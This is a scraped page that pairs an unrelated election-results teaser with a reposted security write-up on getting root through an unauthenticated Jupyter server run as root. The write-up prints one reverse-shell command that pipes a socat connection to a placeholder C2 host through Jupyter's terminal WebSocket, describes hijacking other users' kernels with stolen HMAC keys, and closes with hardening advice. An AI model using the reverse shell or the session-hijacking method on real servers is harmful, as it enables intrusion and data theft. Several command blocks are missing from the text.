Washington state election results 2025

View election results for the 2025 Washington state election below. Key races include Seattle mayor, city attorney and King County executive. Plus, there are seats on city and county councils and the Seattle…

November 5, 2025
Read More >>

Privilege Escalation With Jupyter From the Command Line

This is not a vulnerability in Jupyter. This is a code execution feature working as designed. When Jupyter is properly configured with token authentication (the default), this technique wouldn’t work. The issue comes about when administrators disable security features and run Jupyter with elevated privileges—a dangerous combination on a shared machine.

For those unfamiliar, Jupyter is the Swiss Army knife of data science—a web-based environment where researchers and analysts write code, visualize data, and document their findings all in one place. It’s code execution as a service, basically.

My first instinct was to check if the Jupyter server was accessible

It was. The API was responding, and even better—no authentication token required. This meant the server was either running with --NotebookApp.token='' or I was accessing it from a trusted network. Either way, Christmas came early.

WebSockets and Terminals

Here’s where things got a little more interesting. Jupyter’s REST API documentation showed an interesting endpoint: /api/terminals. Unlike the kernel API (which executes Python code), the terminal API provides actual shell access. And I could create a terminal session fairly easily.

But there’s a catch. Terminals in Jupyter communicate over WebSocket, not HTTP. Traditional tools like curl or nc wouldn’t work. I needed something that could speak WebSocket from the command line.

After some research, I discovered websocat—essentially netcat for WebSockets. It’s a binary that bridges the gap between command-line tools and WebSocket services. Perfect for situations like this.

Abusing the Terminal API

With websocat in hand, I could now interact with Jupyter’s terminal WebSocket, but it wasn’t immediately obvious how to send commands from there terminal. The Jupyter Client WebSocket documentation on WebSocket protocols provides some details about how messages are passed between kernels and the Jupyter web application. And the Terminado client’s websocket implementation outlines the format needed to interact with Jupyter.

So when you connect to a Jupyter terminal via WebSocket, you’re not getting a raw shell – you’re talking to a protocol handler that expects JSON arrays where the

  • first element is message type ("stdin", "stdout", "setup", etc.)
  • second element is the payload (for stdin, it’s the command text)

This lets Jupyter multiplex different data streams (input, output, control messages) over a single WebSocket connection. So sending ["stdin", "command"] is how you talk to Jupyter’s terminal WebSocket protocol.

And when you connect, it seems to take a second to initialize the WebSocket connection, and it wouldn’t immediately take my commands, so the elegant solution is to sleep. And so, echoing a command like this:

UID 0? Of course, the Jupyter server was running as root, and the terminal API was giving me a root shell. No sudo required, no privilege escalation needed—just ask nicely and receive.

Accessing Kernel Secrets

With root access through the terminal, I could now read Jupyter’s runtime files:

These kernel connection files contained:

  • Connection ports for each running kernel
  • HMAC signing keys for message authentication
  • Session information

With these, I could connect directly to any running notebook kernel and execute code in other users’ sessions. Session hijacking for data science.

For easier interaction, I established a proper reverse shell:

$ (sleep 1; echo '["stdin", "socat exec:\\"bash -li\\",pty,stderr,setsid,sigint,sane tcp:my.c2.server:4444 &\\n"]'; sleep 1; echo '["stdin", "exit\\n"]') | ./websocat "ws://localhost:8888/terminals/websocket/1"

Now I had a fully interactive root shell, running through Jupyter’s own process. To any monitoring system, this might look like legitimate Jupyter activity.

This isn’t a vulnerability in Jupyter—it’s a deployment anti-pattern.

  1. Running as root – Jupyter was running with root privileges, probably because someone needed GPU access or wanted to avoid permission issues
  2. No authentication – The server was started with authentication disabled, for convenience
  3. Exposed terminal API – The terminal feature was enabled (default in many installations)

Together, these created a perfect storm. Any user with local access could escalate to root through Jupyter’s intended functionality.

Don’t Run Jupyter as Root

If you need multi-user Jupyter, use tools designed for it:

Need GPU access without root? Use capabilities:

Map out what users actually need:

  • Read/write to their notebook directory?
  • Install pip packages? → User-writable virtual environment
  • Access GPUs? → Device permissions, not root
  • Run system commands? → Whitelist specific commands with sudo (but be careful with this)

If users legitimately need shell access, try isolate it properly.

So don’t run services as root because it’s easier. Or disable authentication for convenience. Treat development defaults as production-ready.

Jupyter is great for interactive data science. The terminal API is genuinely useful for package installation and environment debugging. But these same features are ripe for abuse if deployed without proper consideration.

Downloading websocat and echoing commands is fine for janky use, but how about a little client to drop into a shell?

Check out jupyter-shell

submitted by /u/ok_bye_now_
[link] [comments]

November 5, 2025
Read More >>